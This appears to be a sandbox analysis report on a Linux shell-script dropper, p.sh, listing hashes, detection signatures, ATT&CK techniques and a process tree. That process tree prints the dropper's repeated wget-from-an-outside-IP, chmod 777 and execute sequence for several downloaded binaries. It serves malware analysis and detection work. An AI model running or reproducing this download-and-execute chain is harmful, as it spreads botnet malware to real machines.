c4c2e5441b762bbc8e15b9a7b33aa91899dde924967d4bbd405e23f9b82e5c59

Analysis

max time kernel
149s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/07/2026, 12:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 839B
Sample260717-pal2eaat4k
SHA256 c4c2e5441b762bbc8e15b9a7b33aa91899dde924967d4bbd405e23f9b82e5c59
MD5 73c2ee17c7f6012d41ba6251facb659d
SHA1 63fe3016898ebedd6b0c567d7eb9775e77493f58
SHA512 3900ab4f933241b639ae7505a27250853d25f90eb35308a1fc12c0c43056386b60a3293dd29e04979261c4470e2b6416cf4c6cf827d47d79ac1563d144c773d5
TLSH
T14B018CCBD3506A005029995D679B51A0B830C3CF57870BA87F9C943DAB8DE04B067F59
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
801	chmod
808	chmod
813	chmod
772	chmod
795	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/E3ww	773	p.sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	E3ww

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/292/exe	E3ww
File opened for reading	/proc/829/cmdline	E3ww
File opened for reading	/proc/833/exe	E3ww
File opened for reading	/proc/837/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/304/cmdline	E3ww
File opened for reading	/proc/827/cmdline	E3ww
File opened for reading	/proc/861/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/647/exe	E3ww
File opened for reading	/proc/823/exe	E3ww
File opened for reading	/proc/838/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/293/exe	E3ww
File opened for reading	/proc/777/cmdline	E3ww
File opened for reading	/proc/817/cmdline	E3ww
File opened for reading	/proc/820/cmdline	E3ww
File opened for reading	/proc/832/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/20/cmdline	E3ww
File opened for reading	/proc/231/cmdline	E3ww
File opened for reading	/proc/806/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/16/cmdline	E3ww
File opened for reading	/proc/27/cmdline	E3ww
File opened for reading	/proc/818/cmdline	E3ww
File opened for reading	/proc/834/exe	E3ww
File opened for reading	/proc/777/exe	E3ww
File opened for reading	/proc/812/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/651/exe	E3ww
File opened for reading	/proc/791/exe	E3ww
File opened for reading	/proc/824/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/231/exe	E3ww
File opened for reading	/proc/640/exe	E3ww
File opened for reading	/proc/822/exe	E3ww
File opened for reading	/proc/871/exe	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/18/cmdline	E3ww
File opened for reading	/proc/848/exe	E3ww
File opened for reading	/proc/863/cmdline	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/789/exe	E3ww
File opened for reading	/proc/804/exe	E3ww
File opened for reading	/proc/850/cmdline	E3ww
File opened for reading	/proc/857/exe	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/4/cmdline	E3ww
File opened for reading	/proc/831/exe	E3ww
File opened for reading	/proc/875/exe	E3ww
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/771/exe	E3ww
File opened for reading	/proc/295/cmdline	E3ww
File opened for reading	/proc/807/exe	E3ww
File opened for reading	/proc/871/cmdline	E3ww
File opened for reading	/proc/289/exe	E3ww

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/E3ww	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:647
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:659
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:663
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/208/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/231/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/290/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/293/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/304/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/321/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/567/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/593/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:757
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/rm
  rm -rf E3ww
  2⤵
  PID:761
- /usr/bin/wget
  wget http://129.121.110.105/E3ww
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 E3ww
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/E3ww
  ./E3ww pdvr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:773
- /bin/rm
  rm -rf Kz59
  2⤵
  PID:780
- /usr/bin/wget
  wget http://129.121.110.105/Kz59
  2⤵
  PID:789
- /bin/chmod
  chmod 777 Kz59
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/Kz59
  ./Kz59 pdvr
  2⤵
  PID:796
- /bin/rm
  rm -rf YlU
  2⤵
  PID:797
- /usr/bin/wget
  wget http://129.121.110.105/YlU
  2⤵
  PID:799
- /bin/chmod
  chmod 777 YlU
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/YlU
  ./YlU pdvr
  2⤵
  PID:803
- /bin/rm
  rm -rf xzy
  2⤵
  PID:804
- /usr/bin/wget
  wget http://129.121.110.105/xzy
  2⤵
  PID:806
- /bin/chmod
  chmod 777 xzy
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/xzy
  ./xzy pdvr
  2⤵
  PID:810
- /bin/rm
  rm -rf NYDR
  2⤵
  PID:811
- /usr/bin/wget
  wget http://129.121.110.105/NYDR
  2⤵
  PID:812
- /bin/chmod
  chmod 777 NYDR
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/NYDR
  ./NYDR pdvr
  2⤵
  PID:814
- /bin/rm
  rm -rf p
  2⤵
  PID:815

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

E3ww

Path /tmp/E3ww
Size 62KB
SHA256 91a549dc88804dbba851df6b39878736a6f1cffdc501674440d35d121f8082bd
MD5 f18737b57bc935eb7e0daa8894b05276
SHA1 409ca1b177e49380f7f6da5145cf89ed9b67fbbd
SHA512 b3b878fbba92f568afdc7e4b61cdfd09df00f86da246be610ca50dab40a780385b9a05fbb166ccc7d7176c910238a8c8aa9d859a6d003dd0c7da90cfbdeb4e30
SSDEEP 1536:Cg6ZOeuTkW54Oq321ONeb5IbC1+dCCS9NAqZq3Z70pFen9zaWx4ie:Cg6du4Yc2OcWC1+gCSDAqUpwpFen9zaC
TLSH
T1B6530865B9918B46C2D166B7FF1E834C331B63F8E3DA7213E9146F62278B9160E2F441
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads